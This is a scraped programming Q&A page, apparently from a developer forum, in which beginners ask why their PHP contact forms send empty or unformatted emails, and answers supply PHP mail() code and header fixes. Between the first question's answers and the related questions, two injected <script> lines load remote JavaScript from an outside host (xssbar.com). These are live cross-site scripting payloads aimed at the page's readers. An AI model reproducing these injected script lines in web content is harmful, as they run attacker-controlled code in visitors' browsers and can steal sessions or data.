Can someone help me generate a contact.php? - javascript

I'm doing my first website - I uploaded it to http://testinglakovna.borec.cz/ and I basically used a free template and adjusted it to my liking.
Unfortunately the contact form provided by the template didn't come with the "contact.php" and I've no idea how to correctly activate it.
It's been 4 days and all I figured out is I needed a contact.php activation and I found a script that activated the form - it DOES send the email but it only sends the message, doesn't show the sender email, name or the subject which the sender writes himself...
I'm now desperate for help - is there anybody who could help me write this code?
My contact.php code is this:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova#gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
and the contact form html of the index.html is:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
And I've already searched for an answer on other people's questions but still can't resolve this issue. It's literally the last thing for me to do before I can publish the website officially.

Just made that and it worked on my e-mail address (tested).
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>

Just declare a new variable, lets just call it $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject'
After that, in the mail function, substitute the $message for the $sendEmail variable you just created
It should work fine but keep in mind that if you are deploying your code on a local server that email is going to be sent, most probably, to the spam folder.
Let me know if it helps...

Oops, looks like there's no content in this category.
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
Thanks!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>

Related

Why email sending functionality is not working?

I want to send an email when someone click on my website's download link. I am working in PHP and JavaScript. The following two snippets are in same file.
HTML
<form method="post">
<div class="form-group">
<input type="email" class="form-control" placeholder="Enter Email ID" id="email" onchange="check();" require pattern="[a-z0-9._%+-]+#[a-z0-9.-]+\.[a-z]{2,3}$"/>
</div>
<div class="form-group">
<label style="font-size:14px;"><input type="checkbox" id="toggle"> I agree to receive emails from MarketerBoard. We will not share your any personal information with anyone.</label>
</div>
<div class="form-group" style="min-height:40px;">
<a style="display:none;" href="/images/docs/EMAIL-MARKETING-GUIDE.pdf" name="downloadBtn" download class="mb-button" id="dwn-btn" onchange="check();" onClick="sendmail();">Get your free guide</a>
</div>
</form>
JavaScript
if(isset($_POST['downloadBtn']))
{
$to = 'examle#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: example#example.com' . "\r\n" .
'Reply-To: example#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
//echo 'Email Sent.';
}
I validate the email id of user from using following code. I want to send the email on click of the link, which does not seems to work.
<script type="text/javascript">
function check() {
document.getElementById("toggle").checked = false;
var email_x = document.getElementById("email").value;
filter = /^([a-zA-Z0-9_\.\-])+\#(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(email.value)) {
document.getElementById("email").style.border = "2px solid teal";
var userEmail = document.getElementById('email').value
$('#toggle').click(function () {
//check if checkbox is checked
if ($(this).is(':checked') & filter.test(email.value)) {
$("#dwn-btn").show(); }
else {
$("#dwn-btn").hide();}});
return true;
} else {
document.getElementById("email").style.border = "2px solid red";
$("#dwn-btn").hide();
return false;
}
}
</script>
Firstly check/change your PHP mail configuration:
Open your php.ini file
Search for the line that reads [mail function]
Add/change the details of your mail server. This could be a local mail server or the mail server of your ISP.
Save/close the php.ini file
Restart your web server
Example code below :
<form action="" method="post">
<input type="submit" value="Send email" />
<input type="hidden" name="send_mail" value="1" />
</form>
<?php
if(isset($_POST['send_mail']))
{
$to = 'nobody#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: nobody#example.com' . "\r\n" .
'Reply-To: nobody#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo 'Email Sent.';
}
?>

empty message in the mailbox after sending the form [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I have problem with send email. When I send a form, I get a blank message in my inbox. It looks like this:
Mail:
New message from:
E-mail:
Topic:
Sent message:
The form has validation, it works correctly. The problem is that I don't know why messages come empty to my inbox.
Here is a php code:
$name = $_POST['name'];
$mail = $_POST['mail'];
$topic = $_POST['topic'];
$message = $_POST['message'];
$email_to = "example#qmail.com";
$email_subject = "You received a new message";
$email_body = "Mail: \r\n";
$email_body .= "New message from: " . $name . "\r\n";
$email_body .= "E-mail:" . $mail . "\r\n";
$email_body .= "Topic: " . $topic . "\r\n";
$email_body .= "Sent message: " . $message . "\r\n";
$success = mail($email_to, $email_subject, $email_body);
if ($success){
print "<meta http-equiv=\"refresh\" content=\"0;URL=success-form\index.html\">";
}
else{
print "<script>console.log('error'); </script>";
}
?>
Form in HTML:
<form method="post" action="../form.php" >
<input name="name" type="text" placeholder="Name and Surname">
<label></label>
<input name="mail" type="email" placeholder="Email address">
<label></label>
<input name="topic" type="text" placeholder="Topic">
<label></label>
<textarea name="message" placeholder="Message..."></textarea>
<label></label>
<input type="submit" class="send-btn" value="Send">
</form>
Have you tried adding a few headers? For example:
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain; charset=utf-8\r\n";
$headers .= "Content-Transfer-Encoding: 8bit\r\n";
$headers .= "FROM:".$email_from."\r\n"; // Variable to define
Then, call you mail command like this:
$success = mail($email_to, $email_subject, $email_body, $headers);

Email textarea HTML code through PHP to display as html

Currently I have a fully working email system and I wanted to implement summernote which I have. However when I submit the form it seems to send as html code in text so it shows all the <> and no special formatting. So I thought. Is it sending to the script correctly so I echoed it out and it shows the code without the formatting.
Send:
<?php require '../settings.php';
/* Check all form inputs using check_input function */
$name= check_input($_POST['name'], "Enter your name");
$email= check_input($_POST['email']);
$message= $_POST['message'];
$subject= check_input($_POST['subject']);
/* From who and Reply to Who. */
$headers = 'From: '.$name.'\r\n';
$headers .= 'Reply-To: '.$administrationemail.'\r\n';
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
/* Send the message using mail() function */
mail($email, $subject, $message, $headers);
/* Redirect visitor to the thank you page */
header('Location: /mail/');
exit();
}
?>
Form:
<form action="send.php" method="post">
<b>Your Name:</b><input class="form-control" type="text" name="name">
<b>Subject:</b> <input class="form-control" type="text" name="subject">
<b>Recipient E-mail:</b> <input class="form-control" type="text" name="email">
<b>Your Message:</b>
<textarea class="summernote" id="message" name="message"></textarea>
<input name="submit" type="submit" class="btn btn-theme" value="Send it!">
</form>
Any help figuring out this issue would be great. Thanks in advance.
What I am wanting to show in email:
Hello John Smith,
I have recieved your invoice and will pay shortly.
From Your Friend:
Sir Smith John.
What I am getting shown:
<p><span style="font-weight: bold;">Hello John Smith,</span></p>
<p>I have recieved your invoice and will pay shortly.</p>
<p><span style="font-weight: bold;">From Your Friend:</span></p>
<p> <span style="font-style: italic;">Sir Smith John.</span><span style="font-weight: bold;"><br></span></p>
Function:
function check_input($data, $problem='')
{
$data = trim($data);
$data = stripslashes($data);
$data = preg_replace($wordlist, '****', $data);
if ($problem && strlen($data) == 0)
{
show_error($problem);
}
return $data;
}
Use PHPMailer if you want flexibility. Its so good. Check out their website:
http://phpmailer.worxware.com/
You may need to adjust your headers, for arguments sake we'll just use the same method that is in the PHP docs.
$headers = 'From: ' . $name . "\r\n";
$headers .= 'Reply-To: ' . $administrationemail . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
Your \r\n must be inside double quotes as single quotes are for literal strings.
Your script work as intended, if you want to send your email text with special formatting you have to replace HTML tags with escape characters (ex. <br /> to /n). You can do it with str_replace:
$htmlTags = array('<br />', '<br/>');
$escapeCharacter = '/n';
$final_message = str_replace($htmlTags, $escapeCharacter, $message);

PHP mail form won't send input to email

I have a mail form that will not submit the input placed into the text area to the e-mail that I have inserted.
I am completely new to PHP.
This form has worked for me in the past.
I am trying to run the form from the freehostia.com server, I have the first upgraded plan which advertises SMTP.
Here is my HTML:
<form action="contact.php" method="post">First name:
<br>
<input class="A" id="B" type="text" name="name" size="25">
<br>
E-mail:
<br>
<input class="A" id="A" type="text" name="email" size="35">
<textarea id="A" name="message" rows="10" cols="50" placeholder="Please provide your information..."></textarea>
<div>
<input class="size" type="submit" value="Send!" />
</div>
</form>
Here's my PHP content:
<?php
$field_name = $_POST['name'];
$field_email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'XXXX#XX.com';
$subject = 'MESSAGE FROM SITE VISITOR ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.')
window.location = 'index.html';
</script>
<?php }
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to XXXX#XX.com');
window.location = 'contact.html';
</script>
<?php } ?>
Everything appears to be in place to me. I can't for the life of me figure out what I have done wrong here.
where is ur '$email' variable in,
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
where it initialized?
go this website: https://github.com/HouKun1230/Jquery-mobile-with-PHP-MYSQL and look the email.php which is a email sending simple. It may help you.

Send emails using CKEditor in HTML format

Im having problems sending emails in HTML format using the CKEditor. I have the latest one and installed on to my site. This is my simple contact form to test the software out but every time I insert a link or something in HTML, the output in the email is
my code is:
<script src="/ckeditor/ckeditor.js" type="text/javascript"></script>
<link rel="stylesheet" href="/ckeditor/sample.css">
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<html>
<?php
$action=$_REQUEST['action'];
if ($action=="") /* display the contact form */
{
?>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="submit">
Your name:<br>
<input name="name" type="text" value="" size="30"/><br>
Your email:<br>
<input name="email" type="text" value="" size="30"/><br>
Your message:<br>
<textarea name="message" class="ckeditor"></textarea><br>
<input type="submit" value="Send email"/>
</form>
<?php
}
else /* send the submitted data */
{
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
if (($name=="")||($email=="")||($message==""))
{
echo "All fields are required, please fill the form again.";
}
else{
$from="From: $name<$email>\r\nReturn-path: $email";
$subject="Message sent using your contact form";
mail("email#example.com", $subject, $message, $from);
echo "Email sent!";
}
}
?>
</html>
Thanks for any help
That is because you need to add the right headers to the mail() function, other wise it will send plain text emails.
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
them you can add the content to the email:
$message = '<html><body>';
$message .= '<h1>Cool Email</h1>';
$message .= '</body></html>';
them it should work.. good luck
The documentation is straightforward; you need to specify email headers that indicate the message contains HTML: docs
See Example #4.
Specifically:
// To send HTML mail, the Content-type header must be set
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
And then to put it all together with your existing code:
$headers .= "\r\n" . $from;
mail($to, $subject, $message, $headers);
Does this help?
How-To-Code-Html-Emails
It suggest to send your html email in Multipart/Alternative MIME
I thought I would give the simple answer, as I have just spent forever figuring this out. Hope it helps someone out.
$send_to = $_POST['send_to'];
$subject= $_POST['subject'];
$body= $_POST['body'];
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';
$headers[] = 'From: Your name <your#email.com>';
$msg = '<html><body><head></head>';
$msg .= "Dear $first_name $last_name, \n$body";
$msg .= '</body></html>';
mail($email, $subject, $msg, implode("\r\n", $headers));

Categories

Resources